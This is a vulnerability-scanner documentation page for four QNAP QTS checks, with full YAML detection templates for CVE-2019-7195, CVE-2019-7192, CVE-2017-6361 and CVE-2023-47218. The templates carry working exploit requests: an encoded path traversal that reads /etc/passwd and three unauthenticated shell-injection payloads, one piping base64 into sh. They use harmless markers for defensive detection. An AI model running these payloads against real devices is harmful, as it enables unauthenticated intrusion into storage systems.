QNAP QTS — 4 vulnerability checks
noctis ships 4 vulnerability checks for QNAP QTS, covering 4 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
QNAP Photo Station Unauthenticated Path Traversal Arbitrary File Read
| CVE | CVE-2019-7195 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | file-read — File read |
| Services | http, https |
| Detection | script, http_request, set_var, tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/qnap-qts/CVE-2019-7195.yaml |
Detects unauthenticated path traversal in QNAP Photo Station. Establishes slideshow context via /photo/p/api/album.php, then reads a file through the caption/subtitle download endpoint using an encoded ../ payload. Confirmation is a differential: the traversal request discloses an attachment (video/subtitle + filename=) containing an account-file signature while an identical non-traversal request does not.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /photo/p/api/album.phpwith a crafted body - Raw TCP (TLS on HTTPS), sent verbatim:
GET /photo/p/api/video.php?a=caption&album={{album}}&f=intro.srt HTTP/1.0 - Checks
base_resp.bannerforvideo/subtitle - Raw TCP (TLS on HTTPS), sent verbatim:
GET /photo/p/api/video.php?a=caption&album={{album}}&f=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%… - Checks
trav_resp.bannerforcontent-type:\s*video/subtitle - Checks
trav_resp.bannerforcontent-disposition:.*filename= - Checks
trav_resp.bannerforadmin:[x*!]?:0:0→ finding QoD 75: QNAP Photo Station path traversal confirmed (CVE-2019-7195): caption endpoint streamed an attachment (video/subtitle; filename=) disclosing…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2019-7195
- https://github.com/th3gundy/CVE-2019-7192_QNAP_Exploit
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-7195.yaml
Feed source — tests/vulnerabilities/qnap-qts/CVE-2019-7195.yaml
# QNAP Photo Station — Unauthenticated Path Traversal / Arbitrary File Read (CVE-2019-7195)
#
# QNAP Photo Station exposes an unauthenticated album API. An attacker first
# establishes slideshow context with
# POST /photo/p/api/album.php (a=setSlideshow&f=<name>)
# then abuses the subtitle/caption download endpoint
# GET /photo/p/api/video.php?a=caption&f=<traversal>
# whose `f` parameter is not sanitised, so an encoded ../ sequence discloses an
# arbitrary file. The disclosed file is streamed back as an attachment
# (Content-Type: video/subtitle, Content-Disposition: ...; filename=).
#
# Detection is a PATH-SENSITIVE differential, not a constant marker:
# * a baseline request WITHOUT a traversal payload must NOT disclose the file;
# * only the traversal request may disclose it, carrying the attachment headers
# plus an account-file signature (admin:...:0:0) in the body.
# A finding fires only when the traversal discloses AND the baseline did not —
# so a server that returns the file on any path (no real traversal bug) yields
# nothing. The encoded payload (%2e / %2f) is sent verbatim over tcp_connect
# because reqwest would normalise ../ away before the request left the client.
#
# Cyber-safety: the mock discloses only an inert, fabricated sentinel line; no
# real filesystem is traversed and no real secret is read or shipped.
uid: ea4dbcc7-ee9c-40c6-9fe0-d52acd728471
name: "QNAP Photo Station Unauthenticated Path Traversal Arbitrary File Read (CVE-2019-7195)"
description: |
Detects unauthenticated path traversal in QNAP Photo Station. Establishes
slideshow context via /photo/p/api/album.php, then reads a file through the
caption/subtitle download endpoint using an encoded ../ payload. Confirmation
is a differential: the traversal request discloses an attachment
(video/subtitle + filename=) containing an account-file signature while an
identical non-traversal request does not.
cves: [CVE-2019-7195]
cvss: 9.8
severity: critical
category: file-read
confidence_base: 0.25
tags: [qnap, photo-station, nas, path-traversal, lfi, file-read, pre-auth, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2019-7195"
- "https://github.com/th3gundy/CVE-2019-7192_QNAP_Exploit"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-7195.yaml"
steps:
# ── Generate a throwaway album name for the slideshow context ──────────────
- id: album-name
action: script
code: 'tolower(rand_str(5))'
store_as: album
# ── Step 1 — establish slideshow context (the exploit chain's entry point) ─
- id: setup
action: http_request
method: POST
path: "/photo/p/api/album.php"
port: "{{port}}"
tls_insecure: true
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "a=setSlideshow&f={{album}}"
store_as: setup_resp
# ── Differential flags (initialised so conditions never hit an undef var) ──
- id: init-baseline
action: set_var
var_name: baseline_disclosed
var_value: false
- id: init-ct
action: set_var
var_name: ct_ok
var_value: false
- id: init-fn
action: set_var
var_name: fn_ok
var_value: false
# ── Baseline — SAME endpoint, NO traversal: must not disclose anything ─────
# If this request discloses the file, the server leaks on every path and the
# traversal proves nothing, so the finding below is suppressed.
- id: baseline
action: tcp_connect
port: "{{port}}"
send: "GET /photo/p/api/video.php?a=caption&album={{album}}&f=intro.srt HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: base_resp
condition: "setup_resp.status == 200"
- id: baseline-check
action: match
source: base_resp.banner
pattern: "video/subtitle"
case_insensitive: true
condition: "setup_resp.status == 200"
on_match:
set_vars:
baseline_disclosed: true
# ── Traversal — encoded ../ payload sent verbatim over raw TCP ─────────────
- id: traversal
action: tcp_connect
port: "{{port}}"
send: "GET /photo/p/api/video.php?a=caption&album={{album}}&f=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: trav_resp
condition: "setup_resp.status == 200 && baseline_disclosed == false"
# Attachment header signature from the traversal response only.
- id: trav-ct
action: match
source: trav_resp.banner
pattern: "content-type:\\s*video/subtitle"
case_insensitive: true
condition: "setup_resp.status == 200 && baseline_disclosed == false"
on_match:
set_vars:
ct_ok: true
- id: trav-fn
action: match
source: trav_resp.banner
pattern: "content-disposition:.*filename="
case_insensitive: true
condition: "setup_resp.status == 200 && baseline_disclosed == false"
on_match:
set_vars:
fn_ok: true
# ── Confirmation — account-file signature in the disclosed attachment ──────
- id: trav-finding
action: match
source: trav_resp.banner
pattern: "admin:[x*!]?:0:0"
condition: "setup_resp.status == 200 && baseline_disclosed == false && ct_ok == true && fn_ok == true"
on_match:
finding:
confidence_delta: 0.45
qod: 75
evidence: "QNAP Photo Station path traversal confirmed (CVE-2019-7195): caption endpoint streamed an attachment (video/subtitle; filename=) disclosing an account file via encoded ../ while an identical non-traversal request did not."
stop: trueQNAP QTS / Photo Station Unauthenticated Remote Command Execution
| CVE | CVE-2019-7192 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/qnap-qts/CVE-2019-7192.yaml |
Injects an inert command-substitution-collapse probe into the unauthenticated Photo Station album API (/photo/p/api/album.php). A vulnerable target evaluates the empty `$()` substitution and reflects the collapsed per-run marker, confirming unauthenticated OS command execution.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /photo/p/api/album.phpwith a crafted body - Checks
resp.bodyforNOCTIS[0-9a-f]{32}→ finding QoD 97: QNAP Photo Station unauthenticated RCE confirmed (CVE-2019-7192): command-substitution collapse reflected per-run marker … via /photo/p/api…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2019-7192
- https://github.com/th3gundy/CVE-2019-7192_QNAP_Exploit
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-7192.yaml
Feed source — tests/vulnerabilities/qnap-qts/CVE-2019-7192.yaml
# QNAP QTS / Photo Station — unauthenticated remote command execution
# CVE-2019-7192 (CISA KEV, known ransomware use)
#
# Photo Station 6.0.3 on QNAP QTS exposes /photo/p/api/album.php without
# authentication. The album API passes attacker-controlled input to a shell,
# letting an unauthenticated attacker run arbitrary OS commands.
#
# Detection method (command-substitution collapse):
# A per-run random token is minted, and a marker "NOCTIS<token>" is injected
# as `echo NOCTIS$()<token>`. On a vulnerable target the shell evaluates the
# empty command substitution `$()`, collapsing the string back to the exact
# marker, which is reflected in the response. A patched or non-vulnerable
# target cannot collapse `$()`, so the literal payload (still containing
# `$()`) is returned and never matches. The token is fresh every run, so a
# cached/constant-marker response cannot satisfy the match. QoD 97 — the
# collapse proves live command execution, not a banner or a reflected echo.
uid: 0fe04026-ea4e-48c5-8d01-378b7b1a582a
name: "QNAP QTS / Photo Station Unauthenticated Remote Command Execution (CVE-2019-7192)"
description: |
Injects an inert command-substitution-collapse probe into the unauthenticated
Photo Station album API (/photo/p/api/album.php). A vulnerable target
evaluates the empty `$()` substitution and reflects the collapsed per-run
marker, confirming unauthenticated OS command execution.
cves: [CVE-2019-7192]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [rce, command-injection, qnap, qts, photo-station, nas, pre-auth, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2019-7192"
- "https://github.com/th3gundy/CVE-2019-7192_QNAP_Exploit"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-7192.yaml"
steps:
# Mint a fresh 32-hex-char token for this run (rand_hex(16) → 32 hex chars).
- id: mint-token
action: script
code: |
rand_hex(16)
store_as: tok
# The marker the shell must produce when it collapses `NOCTIS$()<tok>`.
- id: mint-marker
action: script
code: |
"NOCTIS" + tok
store_as: marker
# Inject the collapse payload into the unauthenticated album API. The POST
# body carries the payload, so http_request is correct (no URL-encoded path).
- id: inject
action: http_request
method: POST
path: "/photo/p/api/album.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 8
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "a=setSlideshow&f=qsamplealbum;echo NOCTIS$(){{tok}}"
store_as: resp
# Confirm the collapsed marker is present. The condition pins the exact
# per-run marker (stridx on the minted string), defeating a constant-marker
# or reflected-payload response; the pattern asserts the NOCTIS<32-hex> shape.
- id: rce-match
action: match
source: resp.body
pattern: "NOCTIS[0-9a-f]{32}"
condition: "resp.status == 200 && stridx(resp.body, marker) >= 0"
on_match:
finding:
confidence_delta: 0.72
qod: 97
evidence: "QNAP Photo Station unauthenticated RCE confirmed (CVE-2019-7192): command-substitution collapse reflected per-run marker {{marker}} via /photo/p/api/album.php"
stop: trueQNAP QTS authLogin.cgi reboot_notice_msg unauthenticated command injection
| CVE | CVE-2017-6361 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | set_var, http_request, script, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/qnap-qts/CVE-2017-6361.yaml |
Detects the unauthenticated command injection in the QNAP QTS /cgi-bin/authLogin.cgi `reboot_notice_msg` parameter (QTS before 4.2.4 Build 20170313), which runs shell commands as root. The feed first requests /cgi-bin/authLogin.cgi without parameters and reads the firmware version and the server's Date header. It then builds the base64 reboot-notice message the CGI expects (the QNAPVJBD prefix, the current timestamp, the "Disconnect" command and the payload length) around a harmless payload that prints NOCTIS followed by the sum of two random numbers, and sends it. The finding fires when that computed sum comes back in the response, which only happens when the shell ran the payload; nothing is written on the device. If the injection gives no proof, the firmware version and build published by authLogin.cgi are compared with 4.2.4 Build 20170313 and an older firmware is reported as a lower-confidence version finding.
How noctis detects it
- HTTP(S) request
GET /cgi-bin/authLogin.cgi - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi-bin/authLogin.cgi?reboot_notice_msg={{p.msg}} HTTP/1.0 - Checks
inj.bannerforNOCTIS[0-9]{7}→ finding QoD 97: QNAP QTS command execution confirmed via /cgi-bin/authLogin.cgi reboot_notice_msg: the payload `echo NOCTIS$((…+…))` (timestamp …) returned… - Checks
p.versionfor^[0-9]+\.[0-9]+\.[0-9]+$→ finding QoD 70: QNAP QTS firmware older than 4.2.4 Build 20170313 (CVE-2017-6361)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2017-6361
- https://seclists.org/fulldisclosure/2017/Apr/27
- https://www.exploit-db.com/exploits/41842
Feed source — tests/vulnerabilities/qnap-qts/CVE-2017-6361.yaml
# QNAP QTS < 4.2.4 Build 20170313 — authLogin.cgi reboot_notice_msg
# unauthenticated command injection (CVE-2017-6361)
#
# Ported from OpenVAS/Greenbone NVT `2017/qnap/gb_qnap_rce_20170313.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.140238, GPL-2.0-only), which tracks
# CVE-2017-5227, CVE-2017-6359, CVE-2017-6360 and CVE-2017-6361 (the QNAP
# NAS-201703-21 bundle) but only probes the one bug reachable without a
# session: authLogin.cgi passes the base64 `reboot_notice_msg` message into
# system() (`/sbin/vdd_control "%s" ...`), so a backtick payload runs as root.
# Harry Sintonen's advisory assigns that sink CVE-2017-6361; CVE-2017-6359 /
# 6360 are post-auth sinks (utilRequest.cgi / userConfig.cgi) and CVE-2017-5227
# is a local config-file disclosure, none of them reachable by this probe, so
# the feed names only CVE-2017-6361 (an `exclude_cve` on the others must not
# drop it). CVSS 9.8 is the NVD v3.0 score of CVE-2017-6361.
#
# Message layout (advisory): base64("QNAPVJBD" + TTTTTTTT + 16-char command
# " Disconnect" + 4-char payload length + payload), TTTTTTTT = unix time
# mod 10^8. The NASL sends `(echo;id)>&2` in backticks and matches uid=/gid=.
#
# Better than the NASL:
# - Proof: `echo NOCTIS$((a+b))` with random a/b instead of `id`; the sum is
# never in the request (which is base64 anyway), so only a shell that ran
# the payload can print it — a page echoing the message cannot match.
# - The NASL hard-codes the payload length "14"; the feed computes the
# length field from the payload it actually sends.
# - The timestamp comes from the target's own Date header (falls back to a
# random 8-digit value), so a NAS whose clock differs from the scanner's
# still gets a current timestamp.
# - The message is padded and the random operands re-drawn until its base64
# has no `+`, `/` or `=`, so it reads the same whether or not the CGI
# URL-decodes the query (the NASL's raw base64 can carry a `+`, which a
# decoding parser turns into a space).
# - Fallback (QoD 70): when the injection gives no proof, the firmware
# version/build that authLogin.cgi publishes without a session is compared
# with 4.2.4 Build 20170313.
# Raw `tcp_connect` because the advisory shows the command output written
# before the CGI's own headers, which an HTTP client may refuse to parse.
uid: 7772f606-2e76-4267-a2f4-fc1624fcfe4f
name: "QNAP QTS authLogin.cgi reboot_notice_msg unauthenticated command injection (CVE-2017-6361)"
description: |
Detects the unauthenticated command injection in the QNAP QTS
/cgi-bin/authLogin.cgi `reboot_notice_msg` parameter (QTS before 4.2.4
Build 20170313), which runs shell commands as root. The feed first requests
/cgi-bin/authLogin.cgi without parameters and reads the firmware version and
the server's Date header. It then builds the base64 reboot-notice message
the CGI expects (the QNAPVJBD prefix, the current timestamp, the
"Disconnect" command and the payload length) around a harmless payload that
prints NOCTIS followed by the sum of two random numbers, and sends it.
The finding fires when that computed sum comes back in the response, which
only happens when the shell ran the payload; nothing is written on the
device. If the injection gives no proof, the firmware version and build
published by authLogin.cgi are compared with 4.2.4 Build 20170313 and an
older firmware is reported as a lower-confidence version finding.
cves: [CVE-2017-6361]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [qnap, qts, nas, rce, command-injection, pre-auth, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2017-6361"
- "https://seclists.org/fulldisclosure/2017/Apr/27"
- "https://www.exploit-db.com/exploits/41842"
- "OpenVAS/Greenbone NASL 2017/qnap/gb_qnap_rce_20170313.nasl (GPL-2.0-only)"
steps:
# Pre-initialise the stored results read by later conditions/scripts.
- id: init-fw
action: set_var
var_name: fw_resp
var_value: {status: 0, body: "", headers: {}}
- id: init-inj
action: set_var
var_name: inj
var_value: {connected: false, banner: ""}
# authLogin.cgi without parameters: proves the CGI exists, gives the
# firmware version/build and the device's clock (Date header).
- id: fw-probe
action: http_request
method: GET
path: "/cgi-bin/authLogin.cgi"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
store_as: fw_resp
# Builds the reboot-notice message and the version verdict.
- id: build
action: script
store_as: p
code: |
// ── device clock → unix time (days-from-civil) ──
let t = -1;
let date = fw_resp.headers["date"];
if type_of(date) == "string" {
// Drop empty fields so "Mon, 4 Dec ..." (double space) parses too.
let parts = [];
for f in split(date, " ") { if f != "" { parts.push(f); } }
if parts.len() >= 5 {
let d = int(parts[1]);
let mi = stridx("JanFebMarAprMayJunJulAugSepOctNovDec", parts[2]);
let y = int(parts[3]);
let hms = split(parts[4], ":");
if mi >= 0 && mi % 3 == 0 && y > 1970 && d > 0 && hms.len() == 3 {
let m = mi / 3 + 1;
let yy = if m <= 2 { y - 1 } else { y };
let era = yy / 400;
let yoe = yy - era * 400;
let mp = if m > 2 { m - 3 } else { m + 9 };
let doy = (153 * mp + 2) / 5 + d - 1;
let doe = yoe * 365 + yoe / 4 - yoe / 100 + doy;
let days = era * 146097 + doe - 719468;
t = days * 86400 + int(hms[0]) * 3600 + int(hms[1]) * 60 + int(hms[2]);
}
}
}
let ts = if t > 0 { t % 100000000 } else { rand_int(10000000, 99999999) };
let tss = "" + ts;
while strlen(tss) < 8 { tss = "0" + tss; }
// ── payload: prints NOCTIS<a+b>, the sum is never sent ──
// Trailing spaces pad the message to a multiple of 3 bytes (no "="),
// and a/b are re-drawn until the base64 has no "+" or "/", so the
// value is the same whether or not the CGI URL-decodes its query.
let a = 0;
let b = 0;
let msg = "";
let enc = "";
let tries = 0;
loop {
a = rand_int(500000, 999999);
b = rand_int(500000, 999999);
let payload = "`(echo;echo NOCTIS$((" + a + "+" + b + ")))>&2`";
while (36 + strlen(payload)) % 3 != 0 { payload += " "; }
let len = "" + strlen(payload);
while strlen(len) < 4 { len = " " + len; }
msg = "QNAPVJBD" + tss + " Disconnect" + len + payload;
enc = base64_encode(msg);
tries += 1;
if tries >= 200 || (stridx(enc, "+") < 0 && stridx(enc, "/") < 0) { break; }
}
// Percent-encode whatever is left (only if no clean draw was found).
enc = str_replace(enc, "+", "%2B");
enc = str_replace(enc, "/", "%2F");
enc = str_replace(enc, "=", "%3D");
// ── firmware version / build published by authLogin.cgi ──
let body = if type_of(fw_resp.body) == "string" { fw_resp.body } else { "" };
let ver = "";
let build = "";
let old = false;
let vm = eregmatch("<firmware>\\s*<version><!\\[CDATA\\[([0-9]+)\\.([0-9]+)\\.([0-9]+)\\]\\]></version>[\\s\\S]*?<build><!\\[CDATA\\[([0-9]{8})\\]\\]></build>", body);
if type_of(vm) == "array" && vm.len() >= 5 {
let v1 = int(vm[1]);
let v2 = int(vm[2]);
let v3 = int(vm[3]);
let bn = int(vm[4]);
ver = vm[1] + "." + vm[2] + "." + vm[3];
build = vm[4];
let vnum = v1 * 10000 + v2 * 100 + v3;
// Build date too: firmware lines with other numbering (QES 1.x/2.x)
// built after the fix must not count as old QTS.
old = vnum <= 40204 && bn < 20170313;
}
#{
msg: enc,
marker: "NOCTIS" + (a + b),
a: "" + a,
b: "" + b,
ts: tss,
cgi: fw_resp.status == 200,
version: ver,
build: build,
old_fw: old
}
# The injection, sent only when authLogin.cgi exists (200).
- id: inject
action: tcp_connect
port: "{{port}}"
condition: "p.cgi"
send: "GET /cgi-bin/authLogin.cgi?reboot_notice_msg={{p.msg}} HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\nConnection: close\r\n\r\n"
store_as: inj
- id: confirm-rce
action: match
source: inj.banner
pattern: "NOCTIS[0-9]{7}"
condition: "p.cgi && type_of(inj.banner) == \"string\" && stridx(inj.banner, p.marker) >= 0"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "QNAP QTS command execution confirmed via /cgi-bin/authLogin.cgi reboot_notice_msg: the payload `echo NOCTIS$(({{p.a}}+{{p.b}}))` (timestamp {{p.ts}}) returned the shell-computed marker {{p.marker}}"
stop: true
# Fallback: no proof, but authLogin.cgi publishes a firmware older than
# 4.2.4 Build 20170313.
- id: version-fallback
action: match
source: p.version
pattern: "^[0-9]+\\.[0-9]+\\.[0-9]+$"
condition: "p.old_fw"
on_match:
finding:
title: "QNAP QTS firmware older than 4.2.4 Build 20170313 (CVE-2017-6361)"
confidence_delta: 0.40
qod: 70
evidence: "authLogin.cgi reports QTS {{p.version}} Build {{p.build}} (fixed in 4.2.4 Build 20170313); the command injection probe gave no proof"
stop: trueQNAP QTS/QuTS hero unauthenticated OS command injection via quick.cgi
| CVE | CVE-2023-47218 |
|---|---|
| Severity | medium · CVSS 5.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | set_var, script, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/qnap-qts/CVE-2023-47218.yaml |
Tests QNAP QTS and QuTS hero for the unauthenticated command injection in the quick.cgi firmware-upload handler (CVE-2023-47218). The test sends a multipart upload whose file name carries a shell command substitution that writes the result of a random sum (NOCTIS followed by the computed number) to a file with a random name in the CGI directory, then fetches that file: the computed marker confirms that the command ran. The test then runs a second command through the same flaw to delete the file, and checks that it is gone.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /cgi-bin/quick/quick.cgi?func=switch_os&todo=uploaf_firmware_imagewith a crafted body - HTTP(S) request
GET /cgi-bin/quick/{{p.file}} - HTTP(S) request
POST /cgi-bin/quick/quick.cgi?func=switch_os&todo=uploaf_firmware_imagewith a crafted body - HTTP(S) request
GET /cgi-bin/quick/{{p.file}} - Parses / computes the next value with a Rhai script
- Checks
v.prooffor^NOCTIS[0-9]+$→ finding QoD 97: QNAP quick.cgi command injection confirmed (CVE-2023-47218): the injected echo wrote the shell-computed … to /cgi-bin/quick/… (… by a secon…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2023-47218
- https://www.qnap.com/en/security-advisory/qsa-23-57
- https://www.rapid7.com/blog/post/2024/02/13/cve-2023-47218-qnap-qts-and-quts-hero-unauthenticated-command-injection-fixed/
Feed source — tests/vulnerabilities/qnap-qts/CVE-2023-47218.yaml
# QNAP QTS / QuTS hero — unauthenticated command injection in quick.cgi (CVE-2023-47218)
#
# quick.cgi (func=switch_os&todo=uploaf_firmware_image) builds a shell command from the
# multipart filename without escaping $(...); the command runs from the CGI directory
# (/home/httpd/cgi-bin/quick/), so a file written there by the payload is served back by
# GET /cgi-bin/quick/<name> (Rapid7 analysis, multipart layout kept byte for byte).
#
# Proof, nothing left behind (issue #2413):
# 1. inject `echo NOCTIS$((a+b))>noctis<random>` (random a, b and file name per run);
# 2. GET /cgi-bin/quick/noctis<random> → the shell-computed NOCTIS<a+b> (QoD 97);
# 3. inject `rm -f noctis<random>` through the same bug, then GET the file again to
# report whether the clean-up worked (it runs whatever the step-2 result).
# The previous probe wrote `id` output to a fixed name it never removed: the file stayed
# readable on the target and made a re-scan after the firmware update report again.
# The commands are base64-wrapped and piped to sh, as in the public PoC; the script step
# picks values whose base64 has no "/" or "+" (the value sits in a multipart filename).
#
# CVSS: NVD v3.1 5.8 for CVE-2023-47218 (vendor 9.0).
uid: c7626ff8-ae12-458c-89ce-06f0f2087328
name: "QNAP QTS/QuTS hero unauthenticated OS command injection via quick.cgi (CVE-2023-47218)"
description: |
Tests QNAP QTS and QuTS hero for the unauthenticated command injection in the quick.cgi
firmware-upload handler (CVE-2023-47218). The test sends a multipart upload whose file
name carries a shell command substitution that writes the result of a random sum
(NOCTIS followed by the computed number) to a file with a random name in the CGI
directory, then fetches that file: the computed marker confirms that the command ran.
The test then runs a second command through the same flaw to delete the file, and checks
that it is gone.
cves: [CVE-2023-47218]
cvss: 5.8
severity: medium
category: rce
confidence_base: 0.30
tags: [rce, command-injection, qnap, nas, pre-auth, intrusive]
services: [http, https]
author: noctis
version: "1.1.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2023-47218"
- "https://www.qnap.com/en/security-advisory/qsa-23-57"
- "https://www.rapid7.com/blog/post/2024/02/13/cve-2023-47218-qnap-qts-and-quts-hero-unauthenticated-command-injection-fixed/"
steps:
- id: init-fetch
action: set_var
var_name: fetch
var_value: {status: 0, body: null, headers: {}}
- id: init-recheck
action: set_var
var_name: recheck
var_value: {status: 0, body: null, headers: {}}
# Random sum + file name; base64 of both commands restricted to [A-Za-z0-9=].
- id: payload
action: script
code: |
let p = #{ ok: false };
let tries = 0;
while tries < 200 {
tries += 1;
// Random lengths too: with fixed lengths every candidate has the same
// byte alignment, so the same "/" or "+" comes back each time.
let a = rand_int(1000, 999999);
let b = rand_int(1000, 999999);
let f = "noctis" + rand_str(rand_int(8, 14));
let w = base64_encode("echo NOCTIS$((" + a + "+" + b + "))>" + f);
let r = base64_encode("rm -f " + f);
if ereg("^[A-Za-z0-9=]+$", w) && ereg("^[A-Za-z0-9=]+$", r) {
p = #{ ok: true, file: f, marker: "NOCTIS" + (a + b), w: w, r: r };
break;
}
}
p
store_as: p
- id: cgi-inject
action: http_request
method: POST
path: "/cgi-bin/quick/quick.cgi?func=switch_os&todo=uploaf_firmware_image"
port: "{{port}}"
tls_insecure: true
condition: "p.ok == true"
headers:
Content-Type: "multipart/form-data;boundary=\"avssqwfz\""
body: "--avssqwfz\r\nContent-Disposition: form-data; xxpcscma=\"field2\"; zczqildp=\"$(echo -n {{p.w}}|base64 -d|sh)\"\r\nContent-Type: text/plain\r\n\r\nskfqduny\r\n--avssqwfz--"
store_as: inj_resp
- id: fetch-result
action: http_request
method: GET
path: "/cgi-bin/quick/{{p.file}}"
port: "{{port}}"
tls_insecure: true
condition: "p.ok == true && inj_resp.status == 200"
store_as: fetch
# Clean-up through the same injection, before any verdict (a match with stop: true
# would skip it), then check the file is gone.
- id: cgi-cleanup
action: http_request
method: POST
path: "/cgi-bin/quick/quick.cgi?func=switch_os&todo=uploaf_firmware_image"
port: "{{port}}"
tls_insecure: true
condition: "p.ok == true && inj_resp.status == 200"
headers:
Content-Type: "multipart/form-data;boundary=\"avssqwfz\""
body: "--avssqwfz\r\nContent-Disposition: form-data; xxpcscma=\"field2\"; zczqildp=\"$(echo -n {{p.r}}|base64 -d|sh)\"\r\nContent-Type: text/plain\r\n\r\nskfqduny\r\n--avssqwfz--"
store_as: clean_resp
- id: recheck-removed
action: http_request
method: GET
path: "/cgi-bin/quick/{{p.file}}"
port: "{{port}}"
tls_insecure: true
condition: "p.ok == true && inj_resp.status == 200 && fetch.status == 200"
store_as: recheck
- id: verdict
action: script
code: |
let hit = p.ok == true && fetch.status == 200 && type_of(fetch.body) == "string"
&& ereg("(^|[^0-9A-Za-z])" + p.marker + "([^0-9]|$)", fetch.body);
let gone = !(recheck.status == 200 && type_of(recheck.body) == "string"
&& recheck.body.contains(p.marker));
#{ hit: hit,
proof: if hit { p.marker } else { "" },
cleanup: if gone { "probe file removed" } else { "probe file still present" } }
store_as: v
- id: rce-match
action: match
source: v.proof
pattern: "^NOCTIS[0-9]+$"
condition: "v.hit == true"
on_match:
finding:
confidence_delta: 0.65
qod: 97
evidence: "QNAP quick.cgi command injection confirmed (CVE-2023-47218): the injected echo wrote the shell-computed {{v.proof}} to /cgi-bin/quick/{{p.file}} ({{v.cleanup}} by a second injected rm -f)"